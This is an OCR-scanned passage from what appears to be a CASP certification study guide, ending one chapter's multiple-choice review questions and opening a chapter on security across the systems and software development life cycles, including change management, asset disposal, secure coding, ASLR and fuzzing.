will not have any security breaches. 

Using this documentation will allow security personnel to 
ensure that they know what to do according to industry 
standards. 


. Using this documentation will ensure that the security 


personnel are properly trained. 


2. Which organization issues RFCs? 


a. 
b. 
c. 
d. 


IETF 
IEEE 
ISO 
IEC 


3. Which threat modeling tool allows for assets to be automatically or 
manually placed on a drawing pane? 


a. 
b. SD Elements 
c. 

d. IriusRisk 


Threat Modeling Tool 


securiCAD 


4. Recently, your organization has fallen victim to several client-side 
attacks. Management is very concerned and wants to implement 
some new policies that could negatively impact your business. You 
explain to management some of the measures that should be taken 
to protect against these attacks. Management asks why client-side 
attacks are increasing. What should be your reply? (Choose all that 


apply.) 


a 


b 
c. 
d 


Servers are more expensive than clients. 

Client computers cannot be protected as well as servers. 
Client computers are not usually as protected as servers. 
There are more clients than servers. 


5. The application development team of your organization has 
released a new version of an application today. Within hours, 
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several posts regarding a security vulnerability in the application 
appear on popular hacker forums. Which type of attack does this 
indicate? 

a. client-side attack 

b. end-user attack 

c. advanced persistent threat 


d. zero-day attack 


6. Which of the following entails determining the devices in the 
network, their connectivity relationships to one another, and the 
internal IP addressing scheme in use? 


a. OS fingerprinting 
b. service discovery 
c. packet capture 

d. topology discovery 


7. Which of the following is a social engineering attack that involves 
sending a mass email that appears to come from a trusted party, 
such as the recipient’s bank? 


a. SYN flood 

b. phishing 

c. tailgating 

d. shoulder surfing 


8. How are new technologies submitted for peer review to the IETF 
and, once approved, published as Internet standards? 


a. as SLAS 
b. as RFCs 
c. as RFPs 
d. as SPDs 


9. Which of the following is not one of the three threat actors listed 
by the FBI? 


a. organized crime groups 
b. state sponsors 
c. terrorist groups 
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d. natural disasters 


10. Which of the following is typically used with big data? 
a. Hadoop 
b. BGP 
c. AI 
d. CERT 
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Chapter 18. Security Activities Across the 
Technology Life Cycle 


This chapter covers the following topics: 


= Systems Development Life Cycle: This section covers 
requirements, acquisition, testing and evaluation, 
commissioning/decommissioning, operational activities, 
asset disposal, and asset/object reuse. 


= Software Development Life Cycle: This section describes 
application security frameworks, software assurance, 
development approaches, DevOps, secure coding standards, 
documentation, and validation and acceptance testing. 


=» Adapt Solutions: This section covers emerging threats, 
disruptive technologies, and security trends. 


= Asset Management (Inventory Control): Topics include 
asset Management, inventory control, and associated 
concepts. 


This chapter covers CAS-003 objective 5.2 


When managing the security of an enterprise, security practitioners must 
be mindful of security across the entire technology life cycle. As the 
enterprise changes and new devices and technologies are introduced, 
maintained, and retired, security practitioners must ensure that the 
appropriate security controls are deployed. Providing security across the 
technology life cycle includes understanding both the systems 
development life cycle and the software development life cycle; adapting 
solutions to address emerging threats, disruptive technologies, and security 
trends; and asset management. 


Systems Development Life Cycle 


When an organization defines new functionality that must be provided 
either to its customers or internally, it must create systems to deliver that 
functionality. Many decisions have to be made, and a logical process 
should be followed in making those decisions. This process is called the 
systems development life cycle (SDLC). Rather than being a haphazard 
approach, the SDLC provides clear and logical steps to follow to ensure 
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that the system that emerges at the end of the development process 
provides the intended functionality with an acceptable level of security. 
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The steps in the SDLC are as follows: 
Step 1. Initiate 

Step 2. Acquire/develop 

Step 3. Implement 

Step 4. Operate/maintain 

Step 5. Dispose 


In the initiation phase, the realization is made that a new feature or 
functionality is desired or required in the enterprise. This new feature 
might constitute an upgrade to an existing asset or the purchase or 
development of a new asset. In either case, the initiation phase includes 
making a decision about whether to purchase the product or develop it 
internally. 


In this stage, an organization must also give thought to the security 
requirements of the solution. A preliminary risk assessment can detail the 
confidentiality integrity availability (CIA) requirement and concerns. 
Identifying these issues at the outset is important so that these 
considerations can guide the purchase or development of the solution. The 
earlier in the SDLC the security requirements are identified, the more 
likely the issues are to be successfully addressed in the final product. 


In the acquisition stage of the SDLC, a series of activities provide input to 
facilitate making a decision about acquiring or developing the solution. 
The organization then makes a decision on the solution. The activities are 
designed to get answers to the following questions: 


= What functions does the system need to perform? 


=» What potential risks to CIA are exposed by the solution? 


= What protection levels must be provided to satisfy legal and 
regulatory requirements? 


What tests are required to ensure that security concerns have been 
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mitigated? 
= How do various third-party solutions address these concerns? 


= How do the security controls required by the solution affect other 
parts of the company security policy? 


= What metrics will be used to evaluate the success of the security 
controls? 


The answers to these questions should guide the questions during the 
acquisition step as well as the steps that follow this stage of the SDLC. 


In the implementation stage, senior management formally approves the 
system before it goes live. Then the solution is introduced to the live 
environment, which is the operation/maintenance stage—but not until the 
organization has completed both certification and accreditation. 
Certification is the process of technically verifying the solution’s 
effectiveness and security. The accreditation process involves a formal 
authorization to introduce the solution into the production environment by 
management. It is during this stage that the security administrator would 
train all users on how to protect company information when using the new 
system and on how to recognize social engineering attacks. 


The process doesn’t end right when the system begins operating in the 
environment. Doing a performance baseline is important so that 
continuous monitoring can take place. The baseline ensures that 
performance issues can be quickly determined. Any changes over time (for 
example, addition of new features, patches to the solution, and so on) 
should be closely monitored with respect to the effects on the baseline. 


Instituting a formal change management process, as discussed in the 
“Configuration and Change Management” section, later in this chapter, 
ensures that all changes are both approved and documented. Because any 
changes can affect both security and performance, special attention should 
be given to monitoring the solution after any changes are made. 


Finally, vulnerability assessments and penetration testing after the solution 
is implemented can help discover any security or performance problems 
that might either be introduced by a change or arise as a result of a new 
threat. 


The disposal stage consists of removing the solution from the environment 
when it reaches the end of its usefulness. When this occurs, an 
organization must consider certain issues, including: 
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= Does removal or replacement of the solution introduce any security 
holes in the network? 


= How can the system be terminated in an orderly fashion so as not to 
disrupt business continuity? 


= How should any residual data left on any systems be removed? 


= How should any physical systems that were part of the solution be 
disposed of safely? 


= Are there any legal or regulatory issues that would guide the 
destruction of data? 


For the CASP exam, you need to understand how to cover the SDLC from 
end to end. For example, suppose a company wants to boost profits by 
implementing cost savings on non-core business activities. The IT 
manager seeks approval for the corporate email system to be hosted in the 
cloud. The compliance officer must ensure that data life cycle issues are 
taken into account. The data life cycle end-to-end in this situation would 
be data provisioning, data processing, data in transit, data at rest, and 
deprovisioning. 


Requirements 


In the acquisition stage of the SDLC, one of the activities that occurs is the 
definition of system requirements. The value of this process is to ensure 
that the system will be capable of performing all desired functions and that 
no resources will be wasted on additional functionality. It is also during 
this step that security requirements are identified, driven by the required 
functionality and the anticipated sensitivity of the data to be processed by 
the system. These requirements must be identified early and built into the 
system architecture. 


Acquisition 


In many cases, a system may be acquired rather than developed, or some 
part of a proposed system may need to be acquired. When this is the case, 
security professionals must be involved in defining the security 
requirements for the equipment to be acquired prior to issuing any requests 
for proposal (RFPs). 


Test and Evaluation 


In the test and evaluation phase, several types of testing should occur, 
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including ways to identify both functional errors and security issues. The 
auditing method that assesses the extent of the system testing and 
identifies specific program logic that has not been tested is called the test 
data method. This method tests not only expected or valid input but also 
invalid and unexpected values to assess the behavior of the software in 
both instances. An active attempt should be made to attack the software, 
including attempts at buffer overflows and denial of service (DoS) attacks. 


Commissioning/Decommissioning 


Commissioning an asset is the process of implementing the asset in an 
enterprise, and decommissioning an asset is the process of retiring an asset 
from use in an enterprise. When an asset is placed into production, the 
appropriate security controls should be deployed to protect the asset. These 
security controls may be implemented at the asset itself or on another asset 
within the enterprise, such as a firewall or router. When an asset is 
decommissioned, it is important that the data that is stored on the asset still 
be protected. Sometimes an asset is decommissioned temporarily, and 
sometimes the decommissioning is permanent. No matter which is the 
case, it is important that the appropriate asset disposal and asset reuse 
policies be followed to ensure that the organization’s confidentiality, 
integrity, and availability are ensured. In most cases, you need to back up 
all the data on a decommissioned asset and ensure that the data is 
completely removed from the asset prior to disposal. These policies should 
be periodically reviewed and updated as needed, especially when new 
assets or asset types are added to the enterprise. 


Let’s look at an example. Suppose an information security officer (ISO) 
asks a security team to randomly retrieve discarded computers from the 
warehouse trash bin. The security team retrieves two older computers and 
a broken multifunction network printer. The security team connects the 
hard drives from the two computers and the network printer to a computer 
equipped with forensic tools. They retrieve PDF files from the network 
printer hard drive but are unable to access the data on the two older hard 
drives. As a result of this finding, the warehouse management should 
update the hardware decommissioning procedures to remediate the 
security issue. 


Let’s look at another example. Say that a new vendor product has been 
acquired to replace a legacy product. Significant time constraints exist due 
to the existing solution nearing end-of-life with no options for extended 
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support. For this project, it has been emphasized that only essential 
activities be performed. To balance the security posture and the time 
constraints, you should test the new solution, migrate to the new solution, 
and decommission the old solution. 


Operational Activities 


Operational activities are activities that are carried out on a daily basis 
when using a device or technology. Security controls must be in place to 
protect all operational activities and should be tested regularly to ensure 
that they are still providing protection. While operational activities include 
day-to-day activities, they also include adding new functionality, new 
applications, or completely new systems to the infrastructure. Any new 
introduction of any type will introduce risks to the enterprise. Therefore, it 
is imperative that security practitioners complete a risk analysis and deploy 
the needed security controls to mitigate risks. 


Introduction of functionality, an application, or a system can affect an 
organization’s security policy. For example, an organization may have a 
policy in place that prevents the use of any wireless technology at the 
enterprise level. If a new device or technology requires wireless access, the 
organization will need to revisit the security policy to allow wireless 
access. However, the organization must ensure that the appropriate 
security controls are implemented when wireless access is added to the 
enterprise. Performing a security impact analysis involves examining the 
impact of the new functionality, application, or system on the 
organization’s confidentiality, integrity, and availability. Threats, 
vulnerabilities, and risks are covered in greater detail in Chapter 3, “Risk 
Mitigation Strategies and Controls.” 


Finally, as mentioned many other times throughout this book, security 
awareness and training are vital to ensure that day-to-day operational 
activities are carried out in a secure manner. Security awareness and 
training should be updated as new issues arise. Employees should attend 
this training at initial employment and at least once a year thereafter. 


Monitoring 


Once a system is operational, it should be monitored for both security and 
performance issues. Taking a performance baseline is important so that 
continuous monitoring can take place. The baseline ensures that 
performance issues can be quickly determined. Any changes over time (for 
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example, addition of new features, patches to the solution, and so on) 
should be closely monitored with respect to the effects on the baseline. In 
many cases, significant changes may require the creation of a new baseline 
as the old baseline may no longer be representative of what is now the 
status quo. 


Instituting a formal change management process ensures that all changes 

are both approved and documented. Because any changes can affect both 
security and performance, special attention should be given to monitoring 
the solution after any changes. 


Finally, vulnerability assessments and penetration testing after the solution 
is implemented can help discover any security or performance problems 
that might either be introduced by a change or arise as a result of a new 
threat. 


Maintenance 


Maintenance involves ensuring that systems are kept up-to-date with 
patches, hot fixes, security updates, and service packs. Any updates should 
be tested in a lab environment before being introduced into production. 
When maintenance occurs, it is always necessary to reassess the security 
controls in place and to implement any new controls as risks are identified. 
Maintenance occurs for both hardware and software, and both of these 
assets are equally important in a maintenance plan. A device or an 
application not being used as much as others does not exempt it from 
getting timely updates. 


Updating hardware and software can often have unanticipated 
consequences. A new application update may cause false positives on the 
enterprise firewall because the application communicates in a new manner. 
Simply ignoring a false positive (or disabling the alert) is not adequate. 
Security practitioners should research issues such as this to determine the 
best way to address the problem. 


Another consequence could be that an update causes issues that cannot be 
resolved at the time of deployment. In such a case, it may be necessary to 
temporarily roll back the hardware or software to its previous state. 
However, it is important that the update not be forgotten. A plan should be 
implemented to ensure that the update is applied as quickly as possible. It 
may be necessary to allocate personnel to ensure that the issue is 
researched so that the update can be redeployed. 
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Let’s look at a maintenance example and its effects on security. Say that 
after a system update causes significant downtime, the chief information 
security officer (CISO) asks the IT manager who was responsible for the 
update. The IT manager responds that five different people have 
administrative access to the system, so it is impossible to determine the 
responsible party. To increase accountability in order to prevent this 
situation from reoccurring, the IT manager should implement an 
enforceable change management system and enable user-level auditing on 
all servers. 


Any maintenance program should include documenting all maintenance 
activities, including the personnel who completed the maintenance, the 
type of maintenance that occurred, the result of the maintenance, and any 
issues that arose, along with the issue resolution notes. This documentation 
will provide guidance in the future. 


Configuration and Change Management 


Technology evolves, grows, and changes over time. Examples of changes 
that can occur include: 


= Operating system configuration 
= Software configuration 
= Hardware configuration 


Companies and their processes also evolve and change, which is a good 
thing. But change should be managed in a structured way so as to maintain 
a common sense of purpose about the changes. By following 
recommended steps in a formal process, change can be prevented from 
becoming a problem. For guidelines to include as a part of any change 
control policy, see Chapter 5, “Network and Security Components, 
Concepts, and Architectures.” 


For the CASP exam, you need to keep in mind that change management 
works with configuration management to ensure that changes to assets do 
not unintentionally diminish security. Because of this, all changes must be 
documented, and all network diagrams, both logical and physical, must be 
updated constantly and consistently to accurately reflect each asset’s 
configuration now and not as it was two years ago. Verifying that all 
change management policies are being followed should be an ongoing 
process. 
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Let’s look at an example. Suppose that a company deploys more than 
15,000 client computers and 1,500 server computers. The security 
administrator is receiving numerous alerts from the IDS of a possible 
infection spreading through the network via the Windows file sharing 
service. The security engineer believes that the best course of action is to 
block the file sharing service across the organization by placing access 
control lists (ACLs) on the internal routers. The organization should call 
an emergency change management meeting to ensure that the ACLs will 
not impact core business functions. 


In many cases, it is beneficial to form a change control board. The tasks of 
the change control board can include: 


= Ensuring that changes made are approved, tested, documented, and 
implemented correctly 

= Meeting periodically to discuss change status accounting reports 

= Maintaining responsibility for ensuring that changes made do not 
jeopardize the soundness of the verification system 


Although it’s really a subset of change management, configuration 
management specifically focuses on bringing order out of the chaos that 
can occur when multiple engineers and technicians have administrative 
access to the computers and devices that make the network function. It 
follows the same basic change management process discussed in Chapter 5 
but perhaps takes on even greater importance, considering the impact that 
conflicting changes can have (in some cases immediately) on the network. 
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Configuration management includes the following functions: 


= Report the status of change processing. 


= Document the functional and physical characteristics of each 
configuration item. 


= Perform information capture and version control. 


= Control changes to the configuration items and issue versions of 
configuration items from the software library. 


Note 
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In the context of configuration management, a software 
library is a controlled area accessible only to approved users 
who are restricted to the use of an approved procedure. A 
configuration item (CI) is a uniquely identifiable subset of 
the system that represents the smallest portion to be subject 
to an independent configuration control procedure. When an 
operation is broken into individual CIs, the process is called 
configuration identification. 


The biggest contribution of configuration management controls is ensuring 
that changes to the system do not unintentionally diminish security. 


Asset Disposal 


Asset disposal occurs when an organization has decided that an asset will 
no longer be used. During asset disposal, the organization must ensure that 
no data remains on the asset. The most reliable, secure means of removing 
data from magnetic storage media, such as a magnetic hard drive, is 
through degaussing, which involves exposing the media to a powerful 
alternating magnetic field. Degaussing removes any previously written 
data, leaving the media in a magnetically randomized (blank) state. For 
other disposal terms and concepts with which you should be familiar, see 
Chapter 8, “Software Vulnerability Security Controls.” 


Ke 
rete 


Functional hard drives should be overwritten three times prior to disposal 
or reuse, according to Department of Defense (DoD) Instruction 5220.22. 
Modern hard disks can defy conventional forensic recovery after a single 
wiping pass, based on NIST Special Publication (SP) 800-88. 


Keep in mind that encrypting the data on a hard drive will make the data 
irretrievable without the encryption key, provided that the encryption 
method used has not been broken. For all media types, this is the best 
method for protecting data. 


For example, suppose a company plans to donate 1,000 used computers to 
a local school. The company has a large research and development 
department, and some of the computers were previously used to store 
proprietary research data. The security administrator should be concerned 
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about data remnants on the donated machines. If the company does not 
have a device sanitization section in its data handling policy, the best 
course of action for the security administrator to take would be to delay the 
donation until all storage media on the computers can be sanitized. 


An organization should also ensure that an asset is disposed of in a 
responsible manner that complies with local, state, and federal laws and 
regulations. 


Asset/Object Reuse 


When an organization decides to reuse an asset, a thorough analysis of the 
asset’s original use and new use should be made and understood. If the 
asset will be used in a similar manner, it may only be necessary to remove 
or disable unneeded applications or services. However, it may be 
necessary to return the asset to its original factory configuration. If the 
asset contains a hard drive or other storage medium, the media should be 
thoroughly cleared of all data, especially if it contains sensitive, private, or 
confidential data. 


Software Development Life Cycle 


The software development life cycle can be seen as a subset of the systems 
development life cycle in that any system under development could (but 
does not necessarily) include the development of software to support the 
solution. The goal of the software development life cycle is to provide a 
predictable framework of procedures designed to identify all requirements 
with regard to functionality, cost, reliability, and delivery schedule and 
ensure that each is met in the final solution. This section breaks down the 
steps in the software development life cycle and describes how each step 
contributes to this ultimate goal. Keep in mind that steps in the software 
development life cycle can vary based on the provider, and this is but one 
popular example. 
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The following sections flesh out the software development life cycle steps 
in detail: 


Step 1. Plan/initiate project 
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Step 2. Gather requirements 
Step 3. Design 

Step 4. Develop 

Step 5. Test/validate 

Step 6. Release/maintain 
Step 7. Certify/accredit 


Step 8. Change management and configuration management/replacement 


Plan/Initiate Project 


In the plan/initiate phase of the software development life cycle, the 
organization decides to initiate a new software development project and 
formally plans the project. Security professionals should be involved in 
this phase to determine if information involved in the project requires 
protection and if the application needs to be safeguarded separately from 
the data it processes. Security professionals need to analyze the expected 
results of the new application to determine if the resultant data has a higher 
value to the organization and, therefore, requires higher protection. 


Any information that is handled by the application needs a value assigned 
by its owner, and any special regulatory or compliance requirements need 
to be documented. For example, healthcare information is regulated by 
several federal laws and must be protected. The classification of all input 
and output data of the application needs to be documented, and the 
appropriate application controls should be documented to ensure that the 
input and output data are protected. 


Data transmission must also be analyzed to determine the types of 
networks used. All data sources must be analyzed as well. Finally, the 
effect of the application on organizational operations and culture needs to 
be analyzed. 


Gather Requirements 


In the gather requirements phase of the software development life cycle, 
both the functionality and the security requirements of the solution are 
identified. These requirements could be derived from a variety of sources, 
such as evaluating competitor products for a commercial product or 
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surveying the needs of users for an internal solution. In some cases, these 
requirements could come from a direct request from a current customer. 


From a security perspective, an organization must identify potential 
vulnerabilities and threats. When this assessment is performed, the 
intended purpose of the software and the expected environment must be 
considered. Moreover, the sensitivity of the data that will be generated or 
handled by the solution must be assessed. Assigning a privacy impact 
rating to the data to help guide measures intended to protect the data from 
exposure might be useful. 


Design 


In the design phase of the software development life cycle, an organization 
develops a detailed description of how the software will satisfy all 
functional and security goals. It involves mapping the internal behavior 
and operations of the software to specific requirements to identify any 
requirements that have not been met prior to implementation and testing. 


During this process, the state of the application is determined in every 
phase of its activities. The state of the application refers to its functional 
and security posture during each operation it performs. Therefore, all 
possible operations must be identified to ensure that the software never 
enters an insecure state or acts in an unpredictable way. 


Identifying the attack surface is also a part of this analysis. The attack 
surface describes what is available to be leveraged by an attacker. The 
amount of attack surface might change at various states of the application, 
but at no time should the attack surface provided violate the security needs 
identified in the gather requirements stage. 


Develop 


The develop phase is where the code or instructions that make the software 
work is written. The emphasis of this phase is strict adherence to secure 
coding practices. Some models that can help promote secure coding are 
covered later in this chapter, in the section “Application Security 
Frameworks.” 


Many security issues with software are created through insecure coding 
practices, such as lack of input validation or data type checks. Security 
professionals must identify these issues in a code review that attempts to 


846 


assume all possible attack scenarios and their impacts on the code. Not 
identifying these issues can lead to attacks such as buffer overflows and 
injection and to other error conditions. 


Test/Validate 


In the test/validate phase, several types of testing should occur, including 
identifying both functional errors and security issues. The auditing method 
that assesses the extent of the system testing and identifies specific 
program logic that has not been tested is called the test data method. This 
method tests not only expected or valid input but also invalid and 
unexpected values to assess the behavior of the software in both instances. 
An active attempt should be made to attack the software, including 
attempts at buffer overflows and denial-of-service (DoS) attacks. Some 
types of testing performed at this time are: 
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= Verification testing: Determines whether the original design 
specifications have been met 


= Validation testing: Takes a higher-level view and determines 
whether the original purpose of the software has been achieved 


Release/Maintain 


The release/maintenance phase includes the implementation of the 
software into the live environment and the continued monitoring of its 
operation. At this point, as the software begins to interface with other 
elements of the network, finding additional functional and security 
problems is not unusual. 


In many cases vulnerabilities are discovered in the live environments for 
which no current fix or patch exists. This is referred to as a zero-day 
vulnerability. Ideally, the supporting development staff should discover 
such vulnerabilities before those looking to exploit them do. 


Certify/Accredit 


Certification is the process of evaluating software for its security 
effectiveness with regard to the customer’s needs. Ratings can certainly be 
an input to this but are not the only consideration. Accreditation is the 
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formal acceptance of the adequacy of a system’s overall security by 
management. Provisional accreditation is given for a specific amount of 
time and lists applications, system, or accreditation documentation 
required changes. Full accreditation grants accreditation without any 
required changes. Provisional accreditation becomes full accreditation 
once all the changes are completed, analyzed, and approved by the 
certifying body. 


While certification and accreditation are related, they are not considered to 
be two steps in a process. 


Change Management and Configuration 
Management/Replacement 


After a solution is deployed in the live environment, additional changes 
will inevitably need to be made to the software due to security issues. In 
some cases, the software might be altered to enhance or increase its 
functionality. In any case, changes must be handled through a formal 
change and configuration management process. 


The purpose of this process is to ensure that all changes to the 
configuration of and to the source code itself are approved by the proper 
personnel and are implemented in a safe and logical manner. This process 
should always ensure continued functionality in the live environment, and 
changes should be documented fully, including all changes to hardware 
and software. 


In some cases, it may be necessary to completely replace applications or 
systems. While some failures may be fixed with enhancements or changes, 
a failure may occur that can only be solved by completely replacing the 
application. 


Application Security Frameworks 


In an attempt to bring some consistency to application security, various 
frameworks have been created to guide the secure development of 
applications. The use of these tools and frameworks can remove much of 
the tedium involved in secure coding. Suggestions and guidelines are 
covered further in this chapter. 


Software Assurance 
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Regardless of whether software has been developed in-house or acquired 
commercially, security professionals must ensure that there is an 
acceptable assurance level that the software is not only functional but 
provides an acceptable level of security. There are two ways to approach 
this: audit the program’s actions and determine whether it performs any 
insecure actions or assess it through a formal process. This section covers 
the two formal approaches. 


Auditing and Logging 


An approach and a practice that should continue after software has been 
introduced to the environment is continual auditing of its actions and 
regular review of the audit data. By monitoring the audit logs, security 
weaknesses that might not have been apparent in the beginning or that 
might have gone unreported until now can be identified. In addition, any 
changes that are made will be recorded by the audit log and then can be 
checked to ensure that no security issues were introduced with the change. 


Risk Analysis and Mitigation 


Because risk management is an ongoing process, it must also be 
incorporated as part of any software development. Risk analysis 
determines the risks that can occur, while risk mitigation takes steps to 
reduce the effects of the identified risks. Security professionals should 
ensure that the software development risk analysis and mitigation strategy 
follow these guidelines: 


= Integrate risk analysis and mitigation in the software development life 
cycle. 


= Use qualitative, quantitative, and hybrid risk analysis approaches 
based on standardized risk analysis methods. 


= Track and manage weaknesses that are discovered throughout risk 
assessment, change management, and continuous monitoring. 


Because software often contains vulnerabilities that are not discovered 
until the software is operational, security professionals should ensure that a 
patch management process is documented and implemented when 
necessary to provide risk mitigation. This includes using a change control 
process, testing any patches, keeping a working backup, scheduling 
production downtime, and establishing a back-out plan. Prior to deploying 
any patches, help desk personnel and key user groups should be notified. 
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When patches are deployed, the least critical computers and devices 
should receive the patches first, moving up through the hierarchy until the 
most critical computers and devices are patched. 


Once mitigations are deployed, the mitigations must be tested and verified, 
usually as part of quality assurance and testing. Any risk mitigation that 
has been completed must be verified by an independent party that is not 
the developer or system owner. Developers should be encouraged to use 
code signing to ensure code integrity, to determine who developed code, 
and to determine the purpose of the code. Code-signing certificates are 
digital certificates which ensure that code has not been changed. By 
signing code, organizations can determine if the code has been modified 
by an entity other than the signer. Code signing primarily covers running 
code, not stored code. While code signing verifies code integrity, it cannot 
guarantee freedom from security vulnerabilities or that an app will not load 
unsafe or unaltered code during execution. 


Regression and Acceptance Testing 


Any changes or additions to software must undergo regression and 
acceptance testing. Regression testing verifies that the software behaves 
the way it should. Regression testing catches bugs that may have been 
accidentally introduced into the new build or release candidate. 
Acceptance testing verifies if the software is doing what the end user 
expects it to do. Acceptance testing is more formal in nature and actually 
tests the functionality for the users based on a user story. 


Security Impact of Acquired Software 


Organizations often purchase commercial software or contract with other 
organizations to develop customized software. Security professionals 
should ensure that the organization understands the security impact of any 
acquired software. 
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The process of acquiring software has the following four phases: 


1. Planning: During this phase, the organization performs a needs 
assessment, develops the software requirements, creates the 
acquisition strategy, and develops evaluation criteria and plan. 
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2. Contracting: Once planning is completed, the organization creates 
an RFP or other supplier solicitation forms, evaluates the supplier 
proposals, and negotiates the final contract with the selected 
seller. 


3. Monitoring and accepting: After a contract is in place, the 
organization establishes the contract work schedule, implements 
change control procedures, and reviews and accepts the software 
deliverables. 


4. Follow-on: When the software is in place, the organization must 
sustain the software, including managing risks and changes. At 
some point, it may be necessary for the organization to 
decommission the software. 


Security professionals should be involved in the software assurance 
process. This process ensures that unintentional errors, malicious code, 
information theft, and unauthorized product changes or inserted agents are 
detected. 


Standard Libraries 


Standard libraries contain common objects and functions used by a 
language that developers can access and reuse without re-creating them. 
They can therefore reduce development time. From a security standpoint, a 
library used by a development team should be fully vetted to ensure that 
all of its contents are securely written. For example, the standard C library 
is filled with a handful of very dangerous functions that, if used 
improperly, could actually facilitate a buffer overflow attack. If you 
implement an application security framework when using a programming 
language and its library, the library can be used without fear of introducing 
security problems to the application. The components that should be 
provided by an application security library are: 


# Input validation 
= Secure logging 
= Encryption and decryption 


Industry-Accepted Approaches 


To support the goal of ensuring that software is soundly developed with 
regard to both functionality and security, a number of organizations have 
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attempted to assemble software development best practices. The following 
sections look at some of those organizations and their most important 
recommendations. 


WASC 


The Web Application Security Consortium (WASC) is an organization 
that provides best practices for web-based applications, along with a 
variety of resources, tools, and information that organizations can use in 
developing web applications. 


WASC continually monitors attacks and has developed a list of top attack 
methods in use. This list can aid in ensuring that an organization is aware 
of the latest attack methods and how widespread they are. It can also assist 
an organization in making the proper changes to its web applications to 
mitigate these attack types. 


OWASP 


The Open Web Application Security Project (OWASP) is another group 
that monitors attacks, specifically web attacks. OWASP maintains a list of 
the top 10 attacks on an ongoing basis. This group also holds regular 
meetings at chapters throughout the world, providing resources and tools 
including testing procedures, code review steps, and development 
guidelines. 


BSI 


The U.S. Department of Homeland Security (DHS) has gotten involved in 
promoting software security best practices. The Build Security In (BSI) 
initiative promotes a process-agnostic approach that makes security 
recommendations with regard to architectures, testing methods, code 
reviews, and management processes. The DHS Software Assurance 
program addresses ways to reduce vulnerabilities, mitigate exploitations, 
and improve the routine development and delivery of software solutions. 


ISO/IEC 27000 


The International Organization for Standardization (ISO) and the 
International Electrotechnical Commission (IEC) created the 27034 
standard, which is part of a larger body of standards called the ISO/IEC 
27000 series. These standards provide guidance to organizations in 
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integrating security into the development and maintenance of software 
applications. These suggestions are relevant not only to the development 
of in-house applications but to the safe deployment and management of 
third-party solutions in the enterprise. 


Web Services Security (WS-Security) 


Web services typically use a protocol specification called Simple Object 
Access Protocol (SOAP) for exchanging structured information. SOAP 
employs Extensible Markup Language (XML) and is insecure by itself. 
Web Services Security (WS-Security, or WSS) is an extension to SOAP 
that is used to apply security to web services. WS-Security describes three 
main mechanisms: 


=» How to sign SOAP messages to ensure integrity (and also 
nonrepudiation) 

=» How to encrypt SOAP messages to ensure confidentiality 

= How to attach security tokens to ascertain the sender’s identity 


Forbidden Coding Techniques 


While covering every insecure coding technique would be impossible, 
there are certain approaches and techniques that should be forbidden and 
of which you should be aware. For example, an app should not: 

= Request elevated privileges unless absolutely necessary. 

= Relax permissions on portions of its app bundle. 

= Make unnecessary network connections. 

= Listen for connections on unnecessary network ports. 

= Listen for connections on public network interfaces inadvertently. 

= Read or write files in publicly writable folders unless directed to do 

so by the user. 

Moreover, the following code-hardening techniques should be followed: 


= Add code that validates inputs to prevent integer overflows. 


= Replace any unsafe string function calls with calls that are buffer- 
size-aware to prevent buffer overflows. 


= Avoid passing data to interpreters whenever possible. When the use 
of interpreters is unavoidable, pass data to the interpreters in a safe 
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fashion. 


= To prevent command injection attacks in SQL queries, use 
parameterized application programming interfaces (APIs) (or 
manually quote the strings if parameterized APIs are unavailable). 


= Avoid using the POSIX system function. 


= Set reasonable values for environment variables (PATH, USER, and 
so on) and do not make security decisions based on their values. 


= Fix bugs that cause race conditions which can lead to incorrect 
behavior (or worse). 


NX/XN Bit Use 


The two bits NX and XN are related to processors. Their respective 
meanings are as follows: 
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= NX (no-execute) bit: Technology used in CPUs to segregate areas of 
memory for use by either storage of processor instructions (code) or 
storage of data. 


= XN (never execute) bit: Method for specifying areas of memory that 
cannot be used for execution. 


When they are available in the architecture of the system, these bits can be 
used to protect sensitive information from memory attacks. By utilizing 
the ability of the NX bit to segregate memory into areas where storage of 
processor instructions (code) and storage of data are kept separate, many 
attacks can be prevented. Also, the ability of the XN bit to mark certain 
areas of memory that are off-limits to execution of code can prevent other 
memory attacks as well. 


ASLR Use 


Address space layout randomization (ASLR) is a technique that can be 
used to prevent memory attacks. ASLR randomly arranges the address 
space positions of key data areas of a process, including the base of the 
executable and the positions of the stack, heap, and libraries. It hinders 
some types of security attacks by making it more difficult for an attacker 
to predict target addresses. 
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The support for ASLR varies by operating system. The following systems 
offer some level of support for ASLR: 

= Android 7.0 

=» DragonFly BSD 

= Apple iOS 4.3 and above 

= Microsoft Windows 7 and later 

=» NetBSD 5.0 

=» OpenBSD 

= OS X (10.5 and above) 

= Solaris 11.1 


Code Quality 


Another consideration when building security into an application is the 
quality of the code itself. Code quality is a term that is defined in different 
ways by different sources, but in general, code that has high quality has the 
following characteristics: 
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=» Documented: The code is self-explaining, using comments to explain 
its role and functions 


=» Maintainable: The code isn’t overcomplicated, so anyone working 
with it need not understand the whole context of the code in order to 
make any changes. 


= Efficiency: The code doesn’t use unnecessary resources to perform a 
desired action. 


= Clarity: The code is easy to read and to understand. 


= Refactored: Formatting is consistent and follows the language’s 
coding conventions. 


= Well-tested: Critical bugs are identified in testing and eliminated to 
ensure that the software works the way it’s intended to work. 


= Extensible: The code will be of use for some time. 


When code is of good quality, it is much less likely to be compromised 
and will be more likely to be resistant to attacks. 
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Code Analyzers 


Code testing or analysis is done both by using automated tools and through 
manual code review. The following sections look at some forms of testing 
that code analysis might entail. 


Fuzzer 


Fuzz testing involves injecting invalid or unexpected input (sometimes 
called faults) into an application to test how the application reacts. It is 
usually done with a software tool that automates the process. Inputs can 
include environment variables, keyboard and mouse events, and sequences 
of API calls. Figure 18-1 shows the logic of the fuzzing process. 


SQL Injection 

XSS 

Random data acting a 

Fuzzer — OO OSS 
as input to SUT 
aaa a 

Hang 
Dos 


Figure 18-1 Fuzzing 


Two types of fuzzing can be used to identify susceptibility to a fault 
injection attack: 


=» Mutation fuzzing: This type involves changing the existing input 
values (blindly). 


=» Generation-based fuzzing: This type involves generating the inputs 
from scratch, based on the specification/format. 


To prevent fault injection attacks: 


= Implement fuzz testing to help identify problems. 
= Adhere to safe coding and project management practices. 
= Deploy application-level firewalls. 


Fuzzers are software tools that find and exploit weaknesses in web 
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applications, using a process called fuzzing. They operate by injecting 
semi-random data into the program stack and then detecting bugs that 
result. They are easy to use, but one of the limitations is that they tend to 
find simpler bugs rather than some of the more complex ones. OWASP, an 
organization that focuses on improving software security, recommends 
several specific tools, including JBroFuzz and WSFuzzer. HTTP-based 
SOAP services are the main target of WSFuzzer. 


A scenario in which a fuzzer would be used is during the development of a 
web application that will handle sensitive data. The fuzzer would help you 
